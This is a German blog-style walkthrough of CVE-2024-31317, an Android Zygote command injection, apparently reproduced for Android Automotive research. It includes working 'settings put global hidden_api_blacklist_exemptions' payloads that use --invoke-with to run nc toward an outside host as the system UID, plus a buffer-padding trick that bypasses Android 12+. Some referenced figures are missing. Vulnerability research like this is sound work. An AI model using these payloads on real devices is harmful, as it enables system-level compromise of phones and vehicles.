
CVE-2024-31317
Vor ein paar Tagen sah ich auf dem öffentlichen Konto von JD einen Artikel über die Analyse der Schwachstelle CVE-2024-31317. Nachdem ich ihn durchgelesen hatte, fand ich ihn recht interessant, und da die derzeitigen Mainstream-Lösungen für Fahrzeuge alle auf Android basieren und im begrenzten Umfang dieser Schwachstelle liegen, begann ich mit der Reproduktion.
Da es sich um eine Privilege Escalation auf Benutzerebene handelt, muss zunächst die entsprechende Benutzerberechtigung erlangt werden. Daher gibt es im Kontext des vernetzten Fahrzeugs (V2X) gewisse Einschränkungen. Der derzeitige Mainstream-Ansatz besteht darin, die Installation von APKs mit unbekannten Signaturen zu beschränken und den direkten Zugriff auf den Engineering-Modus und ADB zu verhindern. In Kombination mit anderen Schwachstellen oder Tricks ist dies jedoch recht zuverlässig, da System viele Dinge tun kann. Beachten Sie außerdem, dass für diese Schwachstelle die Berechtigung WRITE_SECURE_SETTINGS erforderlich ist. Standardmäßig besitzt ADB diese Berechtigung, sodass die Privilege Escalation nach Erlangen des Engineering-Modus recht angenehm ist. Wenn ADB nicht direkt verwendet werden kann, muss die Berechtigung über andere Schwachstellen erlangt werden.
Die Schwachstelle ist eine Command Injection, die insgesamt nicht schwer zu analysieren ist. Vor der Analyse ist es jedoch notwendig, Zygote zu verstehen. Zygote läuft als Daemon-Prozess und kann durch Forking Anwendungsprozesse erstellen. Es akzeptiert UNIX-Socket-Befehle auf /dev/socket/zygote. Jeder Befehl beginnt mit einer Dezimalzahl, gefolgt von der Anzahl der Argumente für diese Zahl.
8 [command #1 arg count]
--runtime-args [arg #1: vestigial, needed for process spawn]
--setuid=10266 [arg #2: process UID]
--setgid=10266 [arg #3: process GID]
--target-sdk-version=31 [args #4-#7: misc app parameters]
--nice-name=com.facebook.orca
--app-data-dir=/data/user/0/com.facebook.orca
--package-name=com.facebook.orca
android.app.ActivityThread [arg #8: Java entry point]
3 [command #2 arg count]
--set-api-denylist-exemptions [arg #1: special argument, don't spawn process]
LClass1;->method1( [args #2, #3: denylist entries]
LClass1;->field1:
Aus der diff-Path-Datei ist ersichtlich, dass die Änderung darin besteht, einen Zeilenumbruch-Kommentar hinzuzufügen. Dies beweist indirekt, dass wir in älteren Versionen durch Zeilenumbrüche eine Command Injection durchführen können, um einen neuen Prozess zu starten.

Wenn wir den Aufruf dieser Funktion weiter nach oben verfolgen, sehen wir, dass vom ersten Lesen des Werts HIDDEN_API_BLACKLIST_EXEMPTIONS bis zu allen nachfolgenden Übergaben keine Filterung stattfindet, was bedeutet, dass wir möglicherweise direkt beliebige Argumente injizieren können.

Daher liegt es nahe, dass wir, wenn wir den Wert von HIDDEN_API_BLACKLIST_EXEMPTIONS kontrollieren können, unsere benutzerdefinierten Argumente injizieren können. Wie bereits erwähnt, benötigen wir für das Setzen dieses Werts die Berechtigung WRITE_SECURE_SETTINGS. ADB besitzt diese Berechtigung standardmäßig. Wir müssen lediglich den systemeigenen Befehl settings verwenden, um settings put global hidden_api_blacklist_exemptions command auszuführen. So können wir versuchen, einen neuen Prozess wie folgt zu injizieren:
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
8
--runtime-args
--setuid=1000
--setgid=1000
--nice-name=com.android.settings
--app-data-dir=/data/user/0/com.android.settings
--package-name=com.android.settings
--seinfo=platform:system_app:targetSdkVersion=29:complete
android.app.ActivityThread"
Aber das scheint unseren Anforderungen nicht zu genügen; wir können immer noch keine Befehle ausführen. Durch die Analyse wurde festgestellt, dass der Parameter invokeWith die Ausführung von Befehlen ermöglicht.

Als nächstes ist es ganz einfach: Wir müssen nur einen Befehl wie den folgenden konstruieren:
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
6
--runtime-args
--setuid=1000
--setgid=1000
--invoke-with
nc 192.168.0.112 9981;
--seinfo=platform:system_app:targetSdkVersion=29:complete"
Dann wird festgestellt, dass die Auslösung nicht erfolgreich ist. Ein Blick in Logcat zeigt die folgende Meldung, die darauf hinweist, dass der Debug-Modus erforderlich ist. Wie können wir also den Debug-Modus aktivieren?

Wenn wir den Code weiter untersuchen, sehen wir, dass es beim Start einen Parameter runtime-flags gibt, der zum Konfigurieren der Debug-Eigenschaften verwendet wird.

Die konfigurierbaren Parameter sind wie folgt:

Daher müssen wir beim Start nur diesen Parameter hinzufügen und alle Debug-Eigenschaften aktivieren. Der geänderte Befehl lautet wie folgt:
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
7
--runtime-args
--setuid=1000
--setgid=1000
--runtime-flags=43267
--invoke-with
nc 192.168.0.112 9981;
--seinfo=platform:system_app:targetSdkVersion=29:complete"
Nach der Ausführung erfasst nc erfolgreich die Netzwerkanfrage.

Unter Android 11 und niedriger kann die obige Methode einfach verwendet werden. Aber ab Android 12 hat Google einen schnellen C++-Befehls-Parser implementiert, um den Java-Befehls-Parser von Zygote zu erweitern, und verwendet dazu die neue Klasse NativeCommandBuffer. Nachdem NativeCommandBuffer alle Befehlszeilen analysiert hat, verwirft es den gesamten nachfolgenden Inhalt und liest den nächsten Befehl erneut aus dem Socket. Das bedeutet, dass, wenn wir durch Command Injection zwei Befehle einfügen, der injizierte Inhalt verworfen wird, was die Injection verhindert. Hier ist eine Methode erforderlich, um den ersten read()-Aufruf zu umgehen. Diese Methode wurde hauptsächlich vom ursprünglichen Autor übernommen: Am Ende wird eine große Anzahl von Kommas eingefügt, sodass maybeSetApiDenylistExemptions() nach dem Schreiben viel Zeit für eine Schleife aufwendet, um das Zeitintervall zu verlängern. Der Hauptgrund dafür ist, dass maybeSetApiDenylistExemptions() mehrmals state.mZygoteOutputWriter.write() aufruft, diese Aufrufe jedoch nicht direkt auf das Socket-Schreiben abgebildet werden, da mZygoteOutputWriter von BufferedWriter erbt, das Daten in einem internen Puffer sammelt, bevor es auf die zugrunde liegende Übertragung schreibt. Dieser Mechanismus bietet eine Möglichkeit, zwei Socket-Schreibvorgänge mit einer angemessenen Verzögerung dazwischen auszulösen. Die Puffergröße von BufferedWriter beträgt 8192 Bytes, was viel kleiner ist als der Puffer von Zygote. Hier müssen wir nur den Puffer vor dem Einfügen des injizierten bösartigen Befehls auf 8192 Bytes füllen, um zu zwingen, diese Daten zuerst zu schreiben.
Eigentlich hätte dieser Artikel schon längst geschrieben werden sollen, aber ich war immer beschäftigt und habe es vergessen 😷 Außerdem habe ich bei Zhu Wang (einem Cybersicherheitswettbewerb) mit dieser Schwachstelle einige Punkte gesammelt. Kürzlich machte ich ein Testprojekt, das genau ein Android-Automotive-System war, und erinnerte mich an diesen halbgeschriebenen Blog. Ich beeilte mich, ihn niederzuschreiben, solange ich mich noch an etwas erinnern konnte. Außerdem möchte ich mich bei Flanker (dem Experten) für die Hilfe bei der Reproduktion dieser Schwachstelle bedanken, der mir viele Fallstricke erspart hat.
BufferedWriter